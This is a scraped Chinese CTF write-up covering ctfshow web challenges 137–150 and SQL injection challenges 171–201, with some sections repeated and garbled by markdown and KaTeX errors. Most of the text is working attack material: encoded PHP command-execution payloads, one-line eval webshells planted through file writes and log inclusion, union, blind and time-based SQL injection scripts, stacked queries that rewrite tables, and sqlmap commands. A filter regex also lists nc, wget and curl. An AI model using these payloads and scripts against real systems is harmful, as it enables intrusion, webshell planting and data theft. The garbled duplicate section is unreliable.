error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
Linux tee命令
tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次
tee --//输出到标准输出三次
tee file1 file2 // 输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
?c=ls /|tee 1 //将根目录下的内容写入1 /1 //访问1,下载文件得到f149_15_h3r3 ?c=nl /f149_15_h3r3|tee 2//将flag内容写入2 /2 //访问2,下载得flag
web137
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
调用类中函数
利用call_user_func()函数,通过post传入得ctfshow的值,来回调ctfshow类中的getFlag函数
payload:ctfshow=ctfshow::getFlag
web138
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
同样是回调函数,只不过多了一步过滤而已,利用回调函数传入两个参数
call_user_func函数的使用
<?php class myclass { static function say_hello() { echo "Hello!\n"; } } $classname = "myclass"; call_user_func(array($classname, 'say_hello')); #利用了这里 call_user_func($classname .'::say_hello'); // As of 5.2.3 $myobject = new myclass(); call_user_func(array($myobject, 'say_hello')); ?>
以上实例会输出
Hello! Hello! Hello!
由上可知,传入的参数可以是一个数组,数组第一个值为类名,之后的值为调用的函数名
故可以构造payload
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
可以利用给出的脚本跑出flag
web140
error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
弱比较函数调用
在intval($code)=='ctfshow’中,由于是弱比较,等号右侧为0,只需让等号左侧也为字符串即可
利用eval()命令执行函数,来执行内部代码,生成一个字符串即可拿到flag
payload:f1=sha1&f2=md5
web141
#error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
/^\W+$/
/^\W+$/用于匹配非数字字母下划线的字符
取反绕过
$system = "system"; $command = "cat f*"; echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行脚本构造 system(‘cat f*’),得到
payload:?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-&v2=1
数字和命令可以进行一些运算
1-phpinfo(); 可以执行phpinfo()
异或运算
相同为0,不同为1
web142
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
直接构造v1=0,得到flag
web143
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
过滤了加减,还可以用乘除,过滤了~还可以用异或构造命令
payload:?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
web144
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
同143题差距不大,仍使用上一题的payload即可,只需要对调一下v2和v3参数的值
payload:?v1=10&v3=1&v2=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
web145
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
三目运算符
eval(“return 1?phpinfo():1;”);
该命令是可以执行phpinfo()的,所以可以借助三目运算符绕过
所以只需要对前面的payload稍加修改
payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1
web146
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
过滤了:和; ,所以没有办法使用三目运算符
等号和位运算符
eval("return 1==phpinfo()||2;");
故payload
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)||&v2=1
web147
highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
create_function()函数注入
create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; }
-D匹配非数字
用}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload: ?show=}system("cat f*");/* ctf=\create_function
web148
include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
没有过滤^直接构造异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
或者利用中文变量
也是构造异或
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
web149
error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
条件竞争
非预期解
利用file_put_content()函数写入index.php中一句话木马
payload: ?ctf=index.php show=<?php eval($_POST[1]);?> 然后蚁剑链接
web150
include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
非预期解-日志包含
首先在UA头中写入一句话木马
<?php eval($_REQUEST[1]);?>
然后利用ctf传参,传入日志的路径,使日志被访问
ctf=/var/log/nginx/access.log
设置isVIP的值为1,使最下面的if条件成立
?isVIP=1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfmqiOfH-1643189283273)(C:\Users\86186\AppData\Roaming\Typora\typora-user-images\image-20220126165730283.png)]
web150-plus
include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
__autoload()
当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。
本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class
过滤掉了 _ ,可以通过…绕过
因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo
?..CTFSHOW..=phpinfo
传入后,调用__autoload()函数,实现phpinfo();
去phpinfo()环境变量中发现flag
private $username;
private $password;
private $vip;
private $secret;function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); }
}
#过滤字符
$key = $_SERVER[‘QUERY_STRING’];
if(preg_match(’/_| |[|]|?/’, $key)){
die(“error”);
}
$ctf = P O S T [ ′ c t f ′ ] ; e x t r a c t ( _POST['ctf']; extract( POST[′ctf′];extract(_GET);
if(class_exists($CTFSHOW)){
echo “class is exists!”;
}if(KaTeX parse error: Expected 'EOF', got '&' at position 7: isVIP &̲& strrpos(ctf, “:”)===FALSE){
include($ctf);
}
<?php eval($_REQUEST[1]);?>### 非预期解-日志包含 首先在UA头中写入一句话木马
然后利用ctf传参,传入日志的路径,使日志被访问
ctf=/var/log/nginx/access.log
设置isVIP的值为1,使最下面的if条件成立
?isVIP=1
## web150-plus ~~~php include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
__autoload()
当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。
本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class
过滤掉了 _ ,可以通过 '… '绕过
因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo
?..CTFSHOW..=phpinfo
传入后,调用__autoload()函数,实现phpinfo();
去phpinfo()环境变量中发现flag
更多相关内容 -
ctfshow web入门-sql注入
2021-09-19 13:04:51ctfshow web入门-sql注入web171web172web173web174web175web176web177web178web179web180web181web182web183web184web185web186web187web188web189web190web191web192web193web194web195web195web197web198web199...ctfshow web入门-sql注入
- web171
- web172
- web173
- web174
- web175
- web176
- web177
- web178
- web179
- web180
- web181
- web182
- web183
- web184
- web185
- web186
- web187
- web188
- web189
- web190
- web191
- web192
- web193
- web194
- web195
- web195
- web197
- web198
- web199
- web200
- web201
- web202
- web203
- web204
- web205
- web206
- web207
- wen208
- web209
- web210
- web211
- web212
- web213
- web214
- web215
- web216
- web217
- web218
- web219
- web220
- web221
- web222
- web223
- web224
- web225
- web226
- web227
- web228
- web229
- web230
- web231
- web232
- web233
- web234
web171
- 根据题目给出的查询语句构造 Payload
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名 -1' union select 1,database(),3 --+ 爆表名 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+ 爆数据 -1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+
web172
- 根据题目给出的查询语句构造 Payload
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名 -1' union select database(),2 --+ 爆表名 -1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+ 爆列名 -1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+ 爆数据 -1' union select to_base64(username),to_base64(password) from ctfshow_user2--+
web173
- 根据题目给出的查询语句构造 Payload
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名 -1' union select 1,database(),3 --+ 爆表名 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 爆列名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+ 爆数据 -1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+
web174
- 发现无法在页面中获得输出,抓包后发现是布尔盲注
import time import requests def boolBlindSql(url): flag = '' for i in range(1,100): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "?id=1\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\'flag\'),{},1))>{},1,0) --+".format(i,mid) res = requests.get(url + payload) if 'admin' in res.text: low = mid + 1 else: high = mid if low != 32: flag += chr(low) print('[+] ' + flag) continue else: break if __name__ == '__main__': url = "http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php" boolBlindSql(url)
web175
- 发现无法在页面中获得输出,抓包后发现也没有回显,猜测是时间盲注
import time import requests def timeBlindSql(url): flag = '' for i in range(1,100): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "?id=1\' or if(ascii(substr((select password from ctfshow_user5 where username=\'flag\'),{},1))>{},benchmark(10000000,sha(1)),0)--+".format(i,mid) try: res = requests.get(url + payload, timeout=1.5) high = mid except Exception as e: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) continue else: break if __name__ == '__main__': url = 'http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php' timeBlindSql(url)
web176
- Payload
1' or '1'='1' --+
web177
- Payload
1'or'1'='1'%23 或者 1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178
- Payload
1'or'1'='1'%23 或者 1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23
web179
- Payload
1'or'1'='1'%23 或者 1'%0cunion%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
web180
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web181
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web182
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web183
- 测试后发现当 POST
tableName=ctfshow_user
时会有回显,根据回显内容构造脚本
import requests def regexpBlindSql(url): flag = '' chrOfFlag = r'ctfshow{-0123456789abdegijklmnpqruvxyz}' for i in range(1,50): for ch in chrOfFlag: data = { "tableName" : "(ctfshow_user)where(mid(pass,{},1))regexp('{}')".format(i,ch) } res = requests.post(url, data=data) if '$user_count = 1;' in res.text: flag += ch print('[+]' + flag) break if __name__ == '__main__': url = '''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php''' regexpBlindSql(url)
web184
- 由于这里过滤很多,上一题的
where
也被过滤了,考虑用right join
来进行注入
import requests import string import binascii url = 'http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php' payload = { "tableName":'' } flag = '{' chrOfFlag = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' judge ='$user_count = 22;' for i in range(2,50): for c in chrOfFlag: a = flag + c a = a.encode('utf-8') #按utf-8编码 a = binascii.hexlify(a) #编码为16进制 a = str(a) #化为字符串 a = '0x' + a[2 : len(a) - 1] #形成16进制格式 payload['tableName'] = "ctfshow_user a join ctfshow_user b on (substr(a.pass,8,{}) regexp {})".format(i,a) response = requests.post(url, data = payload) if response.text.find(judge) != -1: flag += c print('[+] ' + flag) break
web185
- 过滤了数字,用下面图片中相关内容进行绕过
import requests url = 'http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php' preflag = 'ctfshow{' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))' def createNumber(num): ret = 'hex(ceil(cot(-ascii(char_length(now())))))' if num != 1: for i in range(num - 1): ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))' return ret def noNumber2GetFlag(): flag = '' for i in range(42): # print('[+] Start blind {} palce'.format(i)) for ch in strings: data = { 'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch))) } res = requests.post(url, data) if res.text.find('43') > 0: flag += ch print('[+] ' + flag) break return flag if __name__ == '__main__': print(noNumber2GetFlag())
web186
- 过滤条件绕过后和上一题一样的脚本
import requests url = 'http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php' preflag = 'ctfshow{' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))' def createNumber(num): ret = 'hex(ceil(cot(-ascii(char_length(now())))))' if num != 1: for i in range(num - 1): ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))' return ret def noNumber2GetFlag(): flag = '' for i in range(42): # print('[+] Start blind {} palce'.format(i)) for ch in strings: data = { 'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch))) } res = requests.post(url, data) if res.text.find('43') > 0: flag += ch print('[+] ' + flag) break return flag if __name__ == '__main__': print(noNumber2GetFlag())
web187
- 分析源码,发现关键点
md5($_POST['password'],true)
,当该十六字符二进制格式开头为' or '
时,后面的字符串为一个非零的数字开头都会返回 True,这样便可以绕过这里从而拿到 Flag,这里给出几个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928、
$username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); }
POST: username=admin&password=ffifdyop
web188
- 这里再密码判断需要满足是一个纯数字,且后面进行了一个弱比较,考虑用
0
来绕过,而在用户名判断的地方可以用布尔的0
来绕过,这里为0
其实也就是where username != 1
,即可查出所有的用户信息,原因戳这
//用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==intval($password)){ $ret['msg']='登陆成功'; array_push($ret['data'], array('flag'=>$flag)); }
POST:username=1<1&password=0
web189
- 题目给出 Flag 在
api/index.php
里,用load_file
盲注查询即可
import requests from tqdm import tqdm def load_fileBlindSql(): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = 'ctfshow{' while True: for ch in tqdm(strings): temp = flag + ch payload = { "username":"if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(temp), "password":"1" } res = requests.post('http://98ddf685-7bb6-4661-be3c-81f5e80f2941.challenge.ctf.show:8080/api/index.php',data=payload) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: flag += ch print('[+] ' + flag) if ch == '}': exit() break if __name__ == '__main__': load_fileBlindSql()
web190
- 无过滤的布尔盲注
import requests def boolBlindSql(): table_name = '' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' headers = {"Content-Type": "application/x-www-form-urlencoded", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'} for i in range(1, 100): low = 32 high = 127 while low < high: mid = (low + high) >> 1 # payload = "username=admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+&password=1" # payload = "username=admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)--+&password=1" payload = "username=admin' and if(ascii(mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)--+&password=1" res = requests.post(url='http://609c417a-7958-45db-9922-03cb5253db3b.challenge.ctf.show:8080/api/', data=payload.format(i,mid), headers=headers) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: low = mid + 1 else: high = mid if low != 32: table_name += chr(low) print('[+] ' + table_name) continue else: break if __name__ == '__main__': boolBlindSql()
web191
- 过滤了
ascii
,用ord
即可
import requests def boolBlindSql(): table_name = '' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}' headers = {"Content-Type": "application/x-www-form-urlencoded", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'} for i in range(1, 100): low = 32 high = 127 while low < high: mid = (low + high) >> 1 # payload = "username=admin' and if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+&password=1" # payload = "username=admin' and if(ord(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)--+&password=1" payload = "username=admin' and if(ord(mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)--+&password=1" res = requests.post(url='http://e5b85a69-befa-4aca-80d1-9ae2c69224b2.challenge.ctf.show:8080//api/', data=payload.format(i,mid), headers=headers) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: low = mid + 1 else: high = mid if low != 32: table_name += chr(low) print('[+] ' + table_name) continue else: break if __name__ == '__main__': boolBlindSql()
web192
- 过滤了
ascii|ord|hex
,不用它们就行啦
import requests def boolBlindSql(): table_name = '' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}' headers = {"Content-Type": "application/x-www-form-urlencoded", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'} for i in range(1, 100): for ch in strings: # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1" # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))regexp('{}'),1,0)--+&password=1" payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'),1,0)--+&password=1" res = requests.post(url='http://85290226-1b87-48d5-b290-bc17c6dceb66.challenge.ctf.show:8080/api/', data=payload.format(i,ch), headers=headers) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: table_name += ch print('[+] ' + table_name) break if __name__ == '__main__': boolBlindSql()
web193
- 过滤了
file|into|ascii|ord|hex|substr
,直接用mid
替换substr
就行,继续用上面的那个脚本
import requests def boolBlindSql(): table_name = '' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}' headers = {"Content-Type": "application/x-www-form-urlencoded", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'} for i in range(1, 100): for ch in strings: # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1" # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'),1,0)--+&password=1" payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'),1,0)--+&password=1" res = requests.post(url='http://10be68af-4b4b-4c03-8358-1945d090f85d.challenge.ctf.show:8080/api/', data=payload.format(i, ch), headers=headers) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: table_name += ch print('[+] ' + table_name) break if __name__ == '__main__': boolBlindSql()
web194
- 过滤条件为
file|into|ascii|ord|hex|substr|char|left|right|substring
,还是上面的脚本
import requests def boolBlindSql(): table_name = '' strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' headers = {"Content-Type": "application/x-www-form-urlencoded", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'} for i in range(1, 100): for ch in strings: # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1" # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'),1,0)--+&password=1" payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'),1,0)--+&password=1" res = requests.post(url='http://9db66bc4-fc7f-4f86-a18b-42ef05bdce11.challenge.ctf.show:8080/api/', data=payload.format(i, ch), headers=headers) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: table_name += ch print('[+] ' + table_name) if ch == '}': exit(0) break if __name__ == '__main__': boolBlindSql()
web195
- 堆叠注入,将密码修改即可
POST:username=0;update`ctfshow_user`set`pass`=1&password=1
web195
- 堆叠注入,这里过滤的是错误的,所以直接用
select
就行
POST:username=1;select(1)&password=1
web197
- 提示用户名可以很长,猜测可以互换
id
和password
的列名然后爆破 (这里借用Y4师傅的脚本),这里也可以用show tables
直接查
# @Author:Y4tacker import requests url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/" for i in range(100): if i == 0: data = { 'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user ' 'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` ' 'varchar(255);', 'password': f'{i}' } r = requests.post(url, data=data) data = { 'username': '0x61646d696e', 'password': f'{i}' } r = requests.post(url, data=data) if "登陆成功" in r.json()['msg']: print(r.json()['msg']) break
POST:username=1;show tables;&password=ctfshow_user
web198
- 依旧用
show tables
直接查
POST:username=1;show tables;&password=ctfshow_user
web199
- 依旧用
show tables
直接查
POST:username=1;show tables;&password=ctfshow_user
web200
- 依旧用
show tables
直接查
POST:username=1;show tables;&password=ctfshow_user
web201
- 根据题目的描述,开始利用
sqlmap
跑了
爆库名 python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=" --dbs --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
爆表名 python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" -D ctfshow_ web --tables --dbms=mysql --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
爆列名 python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" --dbms=mysql -D ctfshow_web -T ctfshow_user --columns --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
